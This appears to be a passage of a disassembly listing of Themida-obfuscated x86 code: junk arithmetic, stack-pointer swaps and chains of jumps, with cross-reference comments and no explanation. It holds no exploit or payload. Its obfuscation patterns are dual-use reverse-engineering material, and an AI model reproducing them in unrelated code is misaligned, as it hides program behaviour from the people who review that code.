		sub	ebx, 192804C4h
		pop	eax
		jmp	loc_5A201D
; ---------------------------------------------------------------------------


loc_59FA16:				; CODE XREF: Themida_:0059A4E2j
		xor	ebx, 73DA5DECh
		jmp	loc_5A95BB
; ---------------------------------------------------------------------------


loc_59FA21:				; CODE XREF: Themida_:0059CC8Aj
		push	edi
		push	53D6h
		mov	[esp], eax
		push	esi
		push	eax
		push	67067BCDh
		pop	eax
		jmp	loc_5A068A
; ---------------------------------------------------------------------------


loc_59FA37:				; CODE XREF: Themida_:005ADFD6j
		sub	esi, 62222172h
		add	esi, 0B10412Bh
		add	esi, eax
		jmp	loc_599B26
; ---------------------------------------------------------------------------


loc_59FA4A:				; CODE XREF: Themida_:0059F1CCj
		jmp	loc_5A70C7
; ---------------------------------------------------------------------------


loc_59FA4F:				; CODE XREF: Themida_:0059E243j
		push	dword ptr [esp]
		pop	ebp
		push	ebx
		mov	ebx, esp
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		push	eax
		mov	eax, 56EF6773h
		jmp	loc_5A917F
; ---------------------------------------------------------------------------


loc_59FA6A:				; CODE XREF: Themida_:005A94F8j
		add	ebx, 354166h
		jnp	loc_5AD014
		push	39FEh
		mov	[esp], edi
		jmp	loc_5A44D7
; ---------------------------------------------------------------------------


loc_59FA83:				; CODE XREF: Themida_:005ADAB1j
		push	ecx
		mov	ecx, 0F7EFF803h
		jmp	loc_5AC2A3
; ---------------------------------------------------------------------------


loc_59FA8E:				; CODE XREF: Themida_:0059B9C6j
		mov	[esp], esi
		push	ecx
		mov	ecx, edi
		jmp	loc_5A22A4
; ---------------------------------------------------------------------------


loc_59FA99:				; CODE XREF: Themida_:0059C494j
		mov	eax, [esp]
		jmp	loc_5A7200
; ---------------------------------------------------------------------------


loc_59FAA1:				; CODE XREF: Themida_:005ABF2Bj
		pop	dword ptr [eax]
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_59FAA8:				; CODE XREF: Themida_:005A6E62j
		not	edi
		push	ebx
		mov	ebx, 0DF82B06h
		or	edi, ebx
		jmp	loc_5A4A1C
; ---------------------------------------------------------------------------


loc_59FAB7:				; CODE XREF: Themida_:0059EAB5j
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		mov	[esp], eax
		xor	dword ptr [esp], 6B9430C3h
		mov	ecx, [esp]
		add	esp, 4
		push	edx
		sub	esp, 4
		mov	[esp], eax
		push	36AB0134h
		jmp	loc_59A99B
; ---------------------------------------------------------------------------


loc_59FAF3:				; CODE XREF: Themida_:005A7DF6j
		pop	eax
		sub	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	esp
		pop	edx
		push	eax
		push	esp
		jmp	loc_5A3D52
; ---------------------------------------------------------------------------


loc_59FB0C:				; CODE XREF: Themida_:005A86E5j
		sub	ebx, 3BA31BD9h
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 20CE1540h
		xor	esi, 7EC3578Dh
		jmp	loc_5AC417
; ---------------------------------------------------------------------------


loc_59FB28:				; CODE XREF: Themida_:loc_59E614j
		sub	eax, 0D9C350C9h
		mov	ebx, eax
		jmp	loc_5A233A
; ---------------------------------------------------------------------------


loc_59FB34:				; CODE XREF: Themida_:0059BF29j
		mov	ebp, edx
		pop	edx
		add	edx, ebp
		pop	ebp
		or	edx, 7424A45h
		jmp	loc_5ADE29
; ---------------------------------------------------------------------------


loc_59FB45:				; CODE XREF: Themida_:005A76C6j
		shr	ecx, 7
		push	0CBCh
		mov	[esp], ecx
		push	ebx
		pop	ecx
		jmp	loc_5A090D
; ---------------------------------------------------------------------------


loc_59FB57:				; CODE XREF: Themida_:005ABEEFj
		mov	edi, eax
		pop	eax
		jmp	loc_5AC3D1
; ---------------------------------------------------------------------------


loc_59FB5F:				; CODE XREF: Themida_:005A5D62j
		shr	ebx, 2
		add	ebx, 38666E13h
		add	ebx, 0FFFFFFFFh
		add	ebx, 0D470EDDh
		xor	ebx, 18672E97h
		sub	ecx, ebx
		pop	ebx
		sub	ecx, ebp
		push	ebp
		mov	ebp, 5E30229Dh
		add	ecx, ebp
		pop	ebp
		mov	ebp, [esp]
		add	esp, 4
		pop	eax
		jmp	loc_5AAC43
; ---------------------------------------------------------------------------


loc_59FB94:				; CODE XREF: Themida_:005A62C6j
		add	edi, eax
		pop	eax
		jmp	loc_5A27EF
; ---------------------------------------------------------------------------


loc_59FB9C:				; CODE XREF: Themida_:005AE1D1j
		xor	edi, 317E573Fh
		jmp	loc_59B1A3
; ---------------------------------------------------------------------------


loc_59FBA7:				; CODE XREF: Themida_:005A641Aj
		push	edx
		mov	edx, 4
		mov	eax, edx
		pop	edx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, eax
		mov	edx, ebx
		pop	ebx
		push	dword ptr [esp]
		pop	eax
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	ecx
		mov	ecx, 18042BFAh
		add	eax, ecx
		pop	ecx
		add	eax, 75DA75EFh
		add	eax, edx
		sub	eax, 75DA75EFh
		sub	eax, 18042BFAh
		pop	edx
		jmp	loc_59B738
; ---------------------------------------------------------------------------


loc_59FBF3:				; CODE XREF: Themida_:0059BE9Fj
		pop	dword ptr [esp]
		jmp	loc_5A2A06
; ---------------------------------------------------------------------------


loc_59FBFB:				; CODE XREF: Themida_:005AD359j
		dec	ebp
		jl	loc_59B56F
		neg	ebp
		push	ebx
		jmp	loc_5ABC4F
; ---------------------------------------------------------------------------


loc_59FC0A:				; CODE XREF: Themida_:005A01A6j
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	esi
		push	dword ptr [esp+4]
		jmp	loc_5A6966
; ---------------------------------------------------------------------------


loc_59FC1E:				; CODE XREF: Themida_:005ACD27j
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		jmp	loc_5A2D65
; ---------------------------------------------------------------------------


loc_59FC2A:				; CODE XREF: Themida_:005AD6F3j
		js	loc_5AA7C8
		push	edx
		push	ecx
		mov	ch, 51h
		neg	ch
		xor	ch, 0CBh
		mov	ch, 93h
		xor	al, 8Ch


loc_59FC3D:				; CODE XREF: Themida_:005A0BADj
		pop	ebx
		jmp	loc_5AF355
; ---------------------------------------------------------------------------


loc_59FC43:				; CODE XREF: Themida_:0059A910j
		push	edx
		mov	edx, 0BF11FCEh
		jmp	loc_59A830
; ---------------------------------------------------------------------------


loc_59FC4E:				; CODE XREF: Themida_:005AF346j
		push	edx
		mov	edx, 4
		add	edi, edx
		mov	edx, [esp]
		jmp	loc_59E6C9
; ---------------------------------------------------------------------------


loc_59FC5E:				; CODE XREF: Themida_:0059C9F5j
		sub	ecx, 45673DD3h
		jmp	loc_59ADCF
; ---------------------------------------------------------------------------


loc_59FC69:				; CODE XREF: Themida_:0059E39Bj
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, esp
		push	edx
		mov	edx, 4
		jmp	loc_5A387E
; ---------------------------------------------------------------------------


loc_59FC7D:				; CODE XREF: Themida_:005A1A67j
		add	eax, edi
		push	dword ptr [esp]
		pop	edi
		push	eax
		mov	eax, esp
		jmp	loc_5AA3D4
; ---------------------------------------------------------------------------


loc_59FC8B:				; CODE XREF: Themida_:005AA2A9j
		push	55Bh
		mov	[esp], esi
		mov	esi, 5BBD6774h
		shl	esi, 6
		push	5746h
		jmp	loc_5A4A2F
; ---------------------------------------------------------------------------


loc_59FCA5:				; CODE XREF: Themida_:0059A2DCj
					; Themida_:005A46D7j
		sub	ebx, edi
		pop	edi
		mov	edx, ebx
		jmp	loc_5995B4
; ---------------------------------------------------------------------------


loc_59FCAF:				; CODE XREF: Themida_:005A222Bj
		jmp	loc_5A5C35
; ---------------------------------------------------------------------------


loc_59FCB4:				; CODE XREF: Themida_:0059B990j
		mov	edi, [esp]
		add	esp, 4
		add	ebx, 4
		jmp	loc_5A6DE0
; ---------------------------------------------------------------------------


loc_59FCC8:				; CODE XREF: Themida_:005A7F1Dj
		push	eax
		mov	eax, 34D34310h
		not	eax
		jmp	loc_5A09AE
; ---------------------------------------------------------------------------


loc_59FCD5:				; CODE XREF: Themida_:005A966Bj
		jmp	loc_5A1AF2
; ---------------------------------------------------------------------------


loc_59FCDA:				; CODE XREF: Themida_:005A6793j
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_5ABF56
; ---------------------------------------------------------------------------


loc_59FCE3:				; CODE XREF: Themida_:005ABDD7j
		mov	dl, cl
		jmp	loc_5A14E5
; ---------------------------------------------------------------------------


loc_59FCEA:				; CODE XREF: Themida_:005A638Ej
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_59B4DD
; ---------------------------------------------------------------------------


loc_59FCFE:				; CODE XREF: Themida_:0059B650j
		push	dx
		mov	dh, 6Ah
		add	bl, dh
		pop	dx
		add	bl, 49h
		sub	bl, 32h
		add	bl, al
		add	bl, 32h
		jmp	loc_5A5F6F
; ---------------------------------------------------------------------------


loc_59FD16:				; CODE XREF: Themida_:005AFE17j
		sub	bl, 0F0h
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	eax
		mov	eax, 3E2A0166h
		jmp	loc_5A9A5D
; ---------------------------------------------------------------------------


loc_59FD2A:				; CODE XREF: Themida_:005A25BAj
		sub	edx, 36775A5h
		jmp	loc_59AD67
; ---------------------------------------------------------------------------


loc_59FD35:				; CODE XREF: Themida_:005AAB44j
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 386C46DDh
		push	esi
		mov	esi, 31FD62D9h
		add	esi, 7D222F3Dh
		sub	esi, 30874970h
		xor	ecx, esi
		jmp	loc_59B6B7
; ---------------------------------------------------------------------------


loc_59FD5C:				; CODE XREF: Themida_:005AEE56j
		pop	eax
		push	ebp
		push	esi
		jmp	loc_5A56FF
; ---------------------------------------------------------------------------


loc_59FD64:				; CODE XREF: Themida_:0059CA0Ej
		mov	cl, bl
		jmp	loc_5A0D45
; ---------------------------------------------------------------------------


loc_59FD6B:				; CODE XREF: Themida_:0059EE75j
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	esi
		jmp	loc_5A2081
; ---------------------------------------------------------------------------


loc_59FD7D:				; CODE XREF: Themida_:005A2AC7j
		xor	[esp], edx
		jmp	loc_5A2E32
; ---------------------------------------------------------------------------


loc_59FD85:				; CODE XREF: Themida_:005AFCE5j
		xchg	esi, [esp]
		pop	esp
		mov	[esp], eax
		push	dword ptr [esp+4]
		jmp	loc_59BCC4
; ---------------------------------------------------------------------------


loc_59FD95:				; CODE XREF: Themida_:005A001Dj
		mov	edi, 5CF42394h
		add	edi, 1
		or	edi, 5E34990h
		add	edi, 9EE94C4h
		add	edx, edi
		jmp	loc_59AAB1
; ---------------------------------------------------------------------------


loc_59FDB0:				; CODE XREF: Themida_:005ACF2Fj
		mov	[esp], ecx
		mov	ecx, 20895F4Bh
		shl	ecx, 4
		jz	loc_5A8A83
		inc	ecx
		jnp	loc_5A43DB
		jmp	loc_5A3DEE
; ---------------------------------------------------------------------------


loc_59FDCD:				; CODE XREF: Themida_:0059E7D5j
		add	esp, 4
		push	ebx
		jmp	loc_5AA1AC
; ---------------------------------------------------------------------------


loc_59FDD6:				; CODE XREF: Themida_:005AD9C8j
					; Themida_:005AE7F2j
		push	ebx
		jmp	loc_5995C8
; ---------------------------------------------------------------------------


loc_59FDDC:				; CODE XREF: Themida_:0059B018j
		push	edi
		mov	edi, 3F373278h
		shl	edi, 5
		jmp	loc_59E317
; ---------------------------------------------------------------------------


loc_59FDEA:				; CODE XREF: Themida_:005A244Aj
		add	esp, 4
		add	edx, eax
		push	esi
		jmp	loc_5A401F
; ---------------------------------------------------------------------------


loc_59FDF5:				; CODE XREF: Themida_:005AAF77j
		add	al, 32h
		jmp	loc_5A0214
; ---------------------------------------------------------------------------


loc_59FDFC:				; CODE XREF: Themida_:0059A06Bj
		xor	edi, 434F199Ch
		dec	edi
		sub	esp, 4
		jmp	loc_5AFBDC
; ---------------------------------------------------------------------------


loc_59FE0E:				; CODE XREF: Themida_:0059EACDj
		jz	loc_5A98C0
		jmp	loc_59963A
; ---------------------------------------------------------------------------


loc_59FE19:				; CODE XREF: Themida_:005AE6FBj
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	esi
		mov	esi, 27318A1h
		add	[esp+4], esi
		pop	esi
		sub	dword ptr [esp], 663054ECh
		add	[esp], eax
		push	edx
		mov	edx, 663054ECh
		sub	dword ptr [esp+4], 41B03D86h
		sub	dword ptr [esp+4], 508C788Fh
		jmp	loc_5AAC4A
; ---------------------------------------------------------------------------


loc_59FE4F:				; CODE XREF: Themida_:005A5F41j
		and	edi, 63E9773Ah
		jmp	loc_59B7E9
; ---------------------------------------------------------------------------


loc_59FE5A:				; CODE XREF: Themida_:005ABE49j
		push	esi
		push	edx
		mov	edx, 3E3F3D69h
		push	0DE4390Ah
		jmp	loc_59D621
; ---------------------------------------------------------------------------


loc_59FE6B:				; CODE XREF: Themida_:0059C5EFj
		sub	ecx, 338BBB6Fh
		add	esi, ecx
		pop	ecx
		add	ebx, 0BD3499h
		sub	ebx, esi
		push	esi
		mov	esi, 0BD3499h
		sub	ebx, esi
		jmp	loc_5AECFB
; ---------------------------------------------------------------------------


loc_59FE89:				; CODE XREF: Themida_:005AF605j
		push	edi
		jmp	loc_5A7EDE
; ---------------------------------------------------------------------------


loc_59FE8F:				; CODE XREF: Themida_:005A1E7Bj
		add	bl, al
		add	bl, 9Ah
		push	edx
		jmp	loc_59DCE5
; ---------------------------------------------------------------------------


loc_59FE9A:				; CODE XREF: Themida_:005AE72Fj
		sub	edi, 81816B1h
		jz	loc_59ED73
		jmp	loc_5A5A4A
; ---------------------------------------------------------------------------


loc_59FEAB:				; CODE XREF: Themida_:005A7E42j
		sub	esi, 44645DE3h
		add	ebp, esi
		pop	esi
		push	ebp
		jmp	loc_59AEDA
; ---------------------------------------------------------------------------


loc_59FEBA:				; CODE XREF: Themida_:005A92E7j
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_59E54E
; ---------------------------------------------------------------------------


loc_59FED4:				; CODE XREF: Themida_:005AEA89j
		add	eax, 0DB8E193Dh
		mov	esi, eax
		mov	eax, [esp]
		jmp	loc_5A4E43
; ---------------------------------------------------------------------------


loc_59FEE3:				; CODE XREF: Themida_:005A1A57j
		mov	ebx, 79291305h
		add	ebx, 60DE070Eh
		jo	loc_5AC1D4
		shr	ebx, 5
		jns	loc_5A520B
		mov	cl, ah
		pop	ecx


loc_59FF00:				; CODE XREF: Themida_:005A73ACj
		pop	edx
		jmp	loc_5A46A1
; ---------------------------------------------------------------------------


loc_59FF06:				; CODE XREF: Themida_:0059BBD8j
		pop	ecx
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		jmp	loc_5A6027
; ---------------------------------------------------------------------------


loc_59FF17:				; CODE XREF: Themida_:0059CD53j
					; Themida_:005A350Dj
		and	edx, 119E71E5h
		jmp	loc_5A0FDB
; ---------------------------------------------------------------------------


loc_59FF22:				; CODE XREF: Themida_:005AC34Ej
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_5A3830
; ---------------------------------------------------------------------------


loc_59FF36:				; CODE XREF: Themida_:005A1454j
		pop	edi
		pop	ebx
		sub	eax, 2336E5Ah
		add	eax, edi
		add	eax, 2336E5Ah
		push	dword ptr [esp]
		jmp	loc_59E7E2
; ---------------------------------------------------------------------------


loc_59FF4C:				; CODE XREF: Themida_:0059FFE1j
		push	eax
		push	314321A3h
		jmp	loc_599119
; ---------------------------------------------------------------------------


loc_59FF57:				; CODE XREF: Themida_:005AC719j
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		add	ebp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5AF898
; ---------------------------------------------------------------------------


loc_59FF72:				; CODE XREF: Themida_:005ADAE0j
		pop	edx
		sub	esp, 4
		mov	[esp], edx
		mov	dh, 0CEh
		neg	dh
		add	dh, 33h
		jmp	loc_599DEF
; ---------------------------------------------------------------------------


loc_59FF88:				; CODE XREF: Themida_:005A32D4j
		pop	ebx
		mov	eax, [esp]
		add	esp, 4
		and	eax, ebx
		jmp	loc_5ACEAB
; ---------------------------------------------------------------------------


loc_59FF99:				; CODE XREF: Themida_:005A0DD4j
		mov	[esp], edx
		jmp	loc_5A5CC2
; ---------------------------------------------------------------------------


loc_59FFA1:				; CODE XREF: Themida_:005AB189j
		xor	ebp, 6025767Eh
		jmp	loc_59F113
; ---------------------------------------------------------------------------


loc_59FFAC:				; CODE XREF: Themida_:0059CC51j
		push	esi
		jmp	loc_5A0225
; ---------------------------------------------------------------------------


loc_59FFB2:				; CODE XREF: Themida_:005AEC0Fj
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		push	24h
		pop	ecx
		jmp	loc_59DB2F
; ---------------------------------------------------------------------------


loc_59FFC6:				; CODE XREF: Themida_:0059CD26j
		or	edx, 56720182h
		push	ecx
		mov	ecx, 43500AD5h
		and	edx, ecx
		pop	ecx
		add	edx, 0FFFFFFFFh
		jmp	loc_5A7E7F
; ---------------------------------------------------------------------------


loc_59FFDD:				; CODE XREF: Themida_:0059CB47j
		pop	esp
		mov	[esp], ecx
		jmp	loc_59FF4C
; ---------------------------------------------------------------------------


loc_59FFE6:				; CODE XREF: Themida_:0059AA96j
		xchg	eax, ecx
		xchg	eax, edi
		jmp	loc_5A1F12
; ---------------------------------------------------------------------------


loc_59FFED:				; CODE XREF: Themida_:loc_59E0DEj
		xor	edx, 7F2C0A9Ch
		jnb	loc_599D64
		sub	edx, 0B9B10C40h
		not	edx
		jmp	loc_5A2951
; ---------------------------------------------------------------------------
		mov	cl, 2Eh


loc_5A0008:				; CODE XREF: Themida_:0059C2C6j
					; Themida_:005A3A03j
		add	eax, edi
		jmp	loc_5AD5C5
; ---------------------------------------------------------------------------


loc_5A000F:				; CODE XREF: Themida_:005AB116j
		sub	edx, 4F197A6Ah
		push	4929h
		mov	[esp], edi
		jmp	loc_59FD95
; ---------------------------------------------------------------------------


loc_5A0022:				; CODE XREF: Themida_:005AEFA2j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_59DA5E
; ---------------------------------------------------------------------------


loc_5A0033:				; CODE XREF: Themida_:0059ADCAj
					; Themida_:005A935Ej
		add	edi, 0C88CF584h
		xor	esi, edi
		push	dword ptr [esp]
		jmp	loc_59F130
; ---------------------------------------------------------------------------


loc_5A0043:				; CODE XREF: Themida_:005A29BAj
		add	eax, 4745419Eh
		push	edx
		mov	edx, 413C275Eh
		push	ebp
		jmp	loc_5ADD0C
; ---------------------------------------------------------------------------


loc_5A0054:				; DATA XREF: Themida_:005986C8o
		lodsb
		sub	al, 7
		add	al, 36h
		sub	al, bl
		sub	al, 36h
		push	1280h
		mov	[esp], ecx
		mov	ch, 35h
		neg	ch
		sub	esp, 4
		jmp	loc_5AFD3D
; ---------------------------------------------------------------------------


loc_5A0071:				; CODE XREF: Themida_:005AA9C2j
		xor	ecx, 200027B2h
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 69DE1033h
		add	eax, 0DC22F1h
		add	eax, ecx
		push	ecx
		jmp	loc_5A4DF2
; ---------------------------------------------------------------------------


loc_5A0090:				; CODE XREF: Themida_:005A7B89j
		mov	esp, [esp]
		bt	[esp], ax
		pushf
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5A009E:				; CODE XREF: Themida_:0059BF81j
		push	esp
		pop	edi
		add	edi, 4
		jmp	loc_5A2362
; ---------------------------------------------------------------------------


loc_5A00AB:				; CODE XREF: Themida_:005AEFB3j
		mov	eax, 2D0675CDh
		shl	eax, 8
		sub	eax, 733E7ECBh
		neg	eax
		jmp	loc_59AC6E
; ---------------------------------------------------------------------------


loc_5A00BF:				; CODE XREF: Themida_:005A1DADj
		mov	edi, 62853474h
		shl	edi, 3
		jz	loc_5A9BE0
		add	edi, 46EF22A9h
		and	edi, 4C874AFAh
		jnz	loc_5A088D
		or	edi, 183F156Dh
		jmp	loc_59B929
; ---------------------------------------------------------------------------
		mov	cl, 0D8h


loc_5A00ED:				; CODE XREF: Themida_:00599882j
		jns	loc_5A1EB6
		shl	edx, 8
		jz	loc_5A74E3
		add	edx, 43BAEE5Ah
		sub	esp, 4
		mov	[esp], esi
		mov	esi, edx
		mov	ecx, esi
		pop	esi
		jmp	loc_5ACDE5
; ---------------------------------------------------------------------------


loc_5A0115:				; CODE XREF: Themida_:005A9B92j
		pop	edx
		push	edx
		sub	esp, 4
		mov	[esp], ebp
		push	ecx
		mov	ecx, 0F9A753Fh
		push	0
		sub	[esp], ecx
		pop	ecx
		jmp	loc_5A9D92
; ---------------------------------------------------------------------------


loc_5A0131:				; CODE XREF: Themida_:0059ACC6j
		inc	ecx
		neg	ecx
		push	edx
		jmp	loc_5A6CA0
; ---------------------------------------------------------------------------


loc_5A013A:				; CODE XREF: Themida_:005A953Bj
		pop	edi
		mov	eax, esi
		jmp	loc_59ABC4
; ---------------------------------------------------------------------------


loc_5A0142:				; CODE XREF: Themida_:005A6648j
		shr	edi, 2
		sub	edi, offset dword_4D1010
		sub	edx, 7ECB0B4Fh
		add	edx, edi
		jmp	loc_59CF56
; ---------------------------------------------------------------------------


loc_5A0158:				; CODE XREF: Themida_:005A5408j
		mov	eax, 7E2C368Dh
		jmp	loc_5A7034
; ---------------------------------------------------------------------------


loc_5A0162:				; CODE XREF: Themida_:0059B823j
					; Themida_:0059F945j
		mov	ebp, 40D9A313h
		sub	ebp, edx
		jmp	loc_5A49A2
; ---------------------------------------------------------------------------


loc_5A016E:				; CODE XREF: Themida_:005A4201j
		pop	edx
		sub	eax, 77534501h
		push	edi
		push	edx
		mov	edx, 5A2A08D0h
		jmp	loc_5AFAED
; ---------------------------------------------------------------------------


loc_5A0180:				; CODE XREF: Themida_:005A42D7j
		jmp	loc_5A8CEF
; ---------------------------------------------------------------------------


loc_5A0185:				; CODE XREF: Themida_:00598BD4j
		push	esp
		pop	ebp
		jmp	loc_5A4422
; ---------------------------------------------------------------------------


loc_5A018C:				; CODE XREF: Themida_:0059A23Bj
		pop	esp
		mov	[esp], edi
		mov	edi, 4
		sub	esi, 5EC61C0Bh
		add	esi, edi
		push	ecx
		mov	ecx, 5EC61C0Bh
		add	esi, ecx
		pop	ecx
		jmp	loc_59FC0A
; ---------------------------------------------------------------------------


loc_5A01AB:				; CODE XREF: Themida_:005AE84Cj
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5A01B0:				; CODE XREF: Themida_:005A5ABAj
		or	eax, 1B43398Eh
		jnz	loc_5AF77F
		add	eax, 5F1C159Eh
		mov	ebx, eax
		mov	eax, [esp]
		add	esp, 4


loc_5A01C8:				; CODE XREF: Themida_:005A4BACj
		mov	esi, ebx
		pop	ebx
		sub	esi, 416203D1h
		jmp	loc_5A99F7
; ---------------------------------------------------------------------------


loc_5A01D6:				; CODE XREF: Themida_:loc_59BAE8j
		push	edi
		push	edx
		push	466B3AF4h
		pop	edx
		jmp	loc_5A3CF6
; ---------------------------------------------------------------------------


loc_5A01E3:				; CODE XREF: Themida_:005A4A39j
		pop	ecx
		jmp	loc_5AA726
; ---------------------------------------------------------------------------


loc_5A01E9:				; CODE XREF: Themida_:005A8F5Ej
		jmp	loc_5AF88C
; ---------------------------------------------------------------------------


loc_5A01EE:				; CODE XREF: Themida_:005A54A6j
					; Themida_:005A80DAj
		add	esp, 4
		not	dl
		jmp	loc_5A190A
; ---------------------------------------------------------------------------


loc_5A01FB:				; CODE XREF: Themida_:0059E6A4j
		pop	ecx
		inc	esi
		jmp	loc_59E3E9
; ---------------------------------------------------------------------------


loc_5A0202:				; CODE XREF: Themida_:loc_5A7BE8j
		shr	edx, 1
		jnz	loc_5A8442
		xor	edx, 77D28D37h
		push	esi
		mov	esi, edx
		pop	ebx


loc_5A0214:				; CODE XREF: Themida_:0059FDF7j
					; Themida_:005AD32Fj
		push	ecx
		jmp	loc_59F3C9
; ---------------------------------------------------------------------------


loc_5A021A:				; CODE XREF: Themida_:005AB019j
					; Themida_:005AB761j
		sub	esp, 4
		jmp	loc_5A08EC
; ---------------------------------------------------------------------------


loc_5A0225:				; CODE XREF: Themida_:0059FFADj
		mov	esi, 20322B47h
		xor	esi, 6D77334Fh
		sub	esi, 0FFFFFFFFh
		push	eax
		mov	eax, 66BB6F73h
		jmp	loc_5AE5E5
; ---------------------------------------------------------------------------


loc_5A023E:				; CODE XREF: Themida_:005A362Cj
		add	esp, 4
		add	al, 6Ch
		shr	al, 3
		push	edx
		push	49C3h
		mov	[esp], ecx
		mov	ch, 0BDh
		jmp	loc_5A52A6
; ---------------------------------------------------------------------------


loc_5A0256:				; CODE XREF: Themida_:0059939Cj
		mov	ecx, [esp]
		add	esp, 4
		push	esi
		mov	esi, 66E9781Ah
		not	esi
		shl	esi, 6
		sub	esp, 4
		jmp	loc_5A7764
; ---------------------------------------------------------------------------


loc_5A0272:				; CODE XREF: Themida_:0059A35Dj
					; Themida_:005A8CA4j
		mov	ecx, [esp]
		add	esp, 4
		xor	bl, al
		movzx	eax, al
		jmp	loc_59E937
; ---------------------------------------------------------------------------


loc_5A0282:				; CODE XREF: Themida_:005A34E4j
		sub	cl, ah
		pop	eax
		jmp	loc_5A3A40
; ---------------------------------------------------------------------------


loc_5A028A:				; CODE XREF: Themida_:005AB303j
		mov	ecx, 56D75E8Ah
		add	ecx, 6BFA56A5h
		jl	loc_59D022
		sub	ecx, 2D0362C7h
		xor	ecx, 0FF521F9Eh
		mov	edx, ecx
		pop	ecx
		jmp	loc_5A51EE
; ---------------------------------------------------------------------------


loc_5A02AF:				; CODE XREF: Themida_:0059A4EEj
					; Themida_:005A8350j
		xor	esi, [esp]
		mov	esp, [esp]
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5A02BA:				; CODE XREF: Themida_:005A5778j
		sub	ecx, 2F853A2Eh
		sub	ecx, 3FD04367h
		neg	ecx
		sub	ecx, 58426749h
		mov	ebx, ecx
		pop	ecx
		sub	ebx, 0FFFFFFFFh
		push	ebp
		mov	ebp, 48051560h
		jmp	loc_5A09E6
; ---------------------------------------------------------------------------


loc_5A02E2:				; CODE XREF: Themida_:0059D1D8j
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_599C92
; ---------------------------------------------------------------------------


loc_5A02ED:				; CODE XREF: Themida_:005A75B3j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		add	edi, esi
		pop	esi
		xor	eax, edi
		jmp	loc_5A2AF2
; ---------------------------------------------------------------------------


loc_5A0303:				; CODE XREF: Themida_:005A5B4Dj
		pop	ebx
		push	2016h
		mov	[esp], ecx
		push	ebx
		jmp	loc_59BEFA
; ---------------------------------------------------------------------------


loc_5A0312:				; CODE XREF: Themida_:005A964Cj
		sub	esp, 4
		mov	[esp], edi
		push	1764h
		mov	[esp], eax
		mov	eax, 7D1C29AFh
		inc	eax
		shr	eax, 4
		and	eax, 2AC05EFh
		xor	eax, 12C672BCh
		mov	edi, eax
		pop	eax
		sub	edx, edi
		pop	edi
		xor	edx, 0F18395A1h
		jmp	loc_5A6F87
; ---------------------------------------------------------------------------


loc_5A0344:				; CODE XREF: Themida_:00599BECj
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_59B7B3
; ---------------------------------------------------------------------------


loc_5A0352:				; CODE XREF: Themida_:005AD692j
		mov	esi, 2
		add	ecx, esi
		pop	esi
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		mov	fs:[edx], al
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5A036E:				; CODE XREF: Themida_:005A96C1j
		mov	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		neg	eax
		jg	loc_59E215
		xor	eax, 77D5A16h
		push	eax
		jmp	loc_5A238C
; ---------------------------------------------------------------------------


loc_5A0389:				; CODE XREF: Themida_:005AE281j
		push	ebp
		mov	ebp, 2
		jmp	loc_5A570D
; ---------------------------------------------------------------------------


loc_5A0394:				; CODE XREF: Themida_:005A36EDj
		push	dword ptr [esp]
		jmp	loc_599F3D
; ---------------------------------------------------------------------------


loc_5A039C:				; CODE XREF: Themida_:005A68B0j
		mov	ebp, 36F72F3Dh
		add	ebp, 7B8A6902h
		neg	ebp
		xor	ebp, 69405A39h
		mov	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		mov	ecx, 243E3DFCh
		xor	ecx, edi
		mov	edi, [esp]
		jmp	loc_5AC7D8
; ---------------------------------------------------------------------------


loc_5A03C9:				; CODE XREF: Themida_:005A55E6j
		sub	[esp], eax
		pushf
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5A03D2:				; CODE XREF: Themida_:005AB0C7j
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_5AAABC
; ---------------------------------------------------------------------------


loc_5A03E9:				; CODE XREF: Themida_:005A18CAj
		add	esi, 4
		push	ebp
		mov	ebp, 4
		sub	esi, ebp
		pop	ebp
		push	2A7Ch
		mov	[esp], esi
		push	dword ptr [esp+4]
		jmp	loc_5A417E
; ---------------------------------------------------------------------------


loc_5A0409:				; CODE XREF: Themida_:005A8B6Bj
		jz	loc_5AC529
		push	edx
		jmp	loc_59DCFF
; ---------------------------------------------------------------------------


